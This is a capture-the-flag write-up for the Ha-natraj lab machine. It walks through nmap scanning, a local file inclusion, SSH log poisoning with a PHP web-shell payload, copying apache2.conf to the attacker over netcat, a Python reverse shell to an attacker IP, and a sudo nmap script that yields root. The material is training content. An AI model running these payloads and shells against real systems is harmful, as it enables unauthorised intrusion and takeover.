Proving grounds Play - Ha-natraj CTF writeup.
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d99fdaf42e670192d5da7f70d006b392 (RSA)
| 256 bceaf13bfa7c050c929592e9e7d20771 (ECDSA)
|_ 256 f0245b7a3bd6b794c44bfe5721f80061 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA:Natraj
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80/tcp - open http - Apache httpd 2.4.29 ((Ubuntu))
Directory Fuzzing
http://192.168.151.80/console/
http://192.168.151.80/console/file.php
LFI Vulnerability
LFI to SSH Log Poisoning
Log Poisoning
naveenj@hackerspace:|03:07|~/pg-play/Ha-natraj$ nc -nv 192.168.151.80 22
(UNKNOWN) [192.168.151.80] 22 (ssh) open
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
naveenj/<?php system($_GET['cmd']); ?>
Protocol mismatch.
Log File
naveenj@hackerspace:|03:08|~/pg-play/Ha-natraj$ curl "http://192.168.151.80/console/file.php?file=../../../../../../../../../../var/log/auth.log&cmd=whoami"
#auth log
Sep 30 00:07:56 ubuntu sshd[24168]: Bad protocol version identification 'naveenj/www-data' from 192.168.45.204 port 53234 #whoami execution
Sep 30 00:08:01 ubuntu CRON[24169]: pam_unix(cron:session): session opened for user root by (uid=0)
Sep 30 00:08:01 ubuntu CRON[24169]: pam_unix(cron:session): session closed for user root
Initial Foothold
Privilege Escalation
Enumerate user executable permissions.
www-data@ubuntu:/var/www/html/console$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: /bin/systemctl start apache2
(ALL) NOPASSWD: /bin/systemctl stop apache2
(ALL) NOPASSWD: /bin/systemctl restart apache2
www-data@ubuntu:/var/www/html/console$
List permissions for /apache2 folder.
www-data@ubuntu:/var/www/html/console$ cd /etc/apache2
cd /etc/apache2
www-data@ubuntu:/etc/apache2$ ls -al
ls -al
total 88
drwxr-xr-x 8 root root 4096 Jun 3 2020 .
drwxr-xr-x 79 root root 4096 Sep 2 2020 ..
-rwxrwxrwx 1 root root 7224 Mar 13 2020 apache2.conf
drwxr-xr-x 2 root root 4096 Jun 3 2020 conf-available
drwxr-xr-x 2 root root 4096 Jun 3 2020 conf-enabled
-rw-r--r-- 1 root root 1782 Jul 16 2019 envvars
-rw-r--r-- 1 root root 31063 Jul 16 2019 magic
drwxr-xr-x 2 root root 12288 Jun 3 2020 mods-available
drwxr-xr-x 2 root root 4096 Jun 3 2020 mods-enabled
-rw-r--r-- 1 root root 320 Jul 16 2019 ports.conf
drwxr-xr-x 2 root root 4096 Jun 3 2020 sites-available
drwxr-xr-x 2 root root 4096 Jun 3 2020 sites-enabled
www-data@ubuntu:/etc/apache2$
Change the user configuration of the apache2.conf file from www-data to the actual system user so when we restart the service we will obtain shell as actual system user.
Check users in the system.
natraj:x:1000:1000:natraj,,,:/home/natraj:/bin/bash
mahakal:x:1001:1001:,,,:/home/mahakal:/bin/bash
Transfer the apache config file to local machine to make the changes using netcat.
Send file.
www-data@ubuntu:/etc/apache2$ nc 192.168.45.204 1233 < apache2.conf #send
nc 192.168.45.204 1233 < apache2.conf
www-data@ubuntu:/etc/apache2$
Receive file.
naveenj@hackerspace:|03:14|~/pg-play/Ha-natraj/files$ nc -lvnp 1233 >apache2.conf #receive
listening on [any] 1233 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.151.80] 47786
Do the below changes to the config file.
#old config
# These need to be set in /etc/apache2/envvars
- User ${APACHE_RUN_USER}
- Group ${APACHE_RUN_GROUP}
#new config
# These need to be set in /etc/apache2/envvars
+ User mahakal
+ Group mahakal
Now download the changed config file back to the /etc/apache2/ folder as apache2.conf and restart the apache server.
www-data@ubuntu:/etc/apache2$ sudo /bin/systemctl restart apache2
sudo /bin/systemctl restart apache2
Now run the netcat listener and obtain the shell, since the apache2 serve is running as mahakal the shell for the user will be obtained.
Reverse Shell Trigger
http://192.168.151.80/console/file.php?file=../../../../../../../../../../var/log/auth.log&cmd=python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("192.168.45.204",1234))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("bash")'
User: mahakal
listening on [any] 1234 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.151.80] 49014
mahakal@ubuntu:/var/www/html/console$
Enumerate user executable permissions.
mahakal@ubuntu:/var/www/html/console$ sudo -l
sudo -l
Matching Defaults entries for mahakal on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mahakal may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/nmap #user can run nmap as root
mahakal@ubuntu:/var/www/html/console$
Exploitation
Create a nmap .nse script to spawn /bin/bash as below and execute it.
mahakal@ubuntu:/tmp$ echo 'os.execute("/bin/bash")' > script.nse
echo 'os.execute("/bin/bash")' > script.nse
mahakal@ubuntu:/tmp$
mahakal@ubuntu:/tmp$ sudo /usr/bin/nmap --script=script.nse
sudo /usr/bin/nmap --script=script.nse
Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-30 00:22 PDT
root@ubuntu:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/tmp#
Root Obtained
Thanks for reading!
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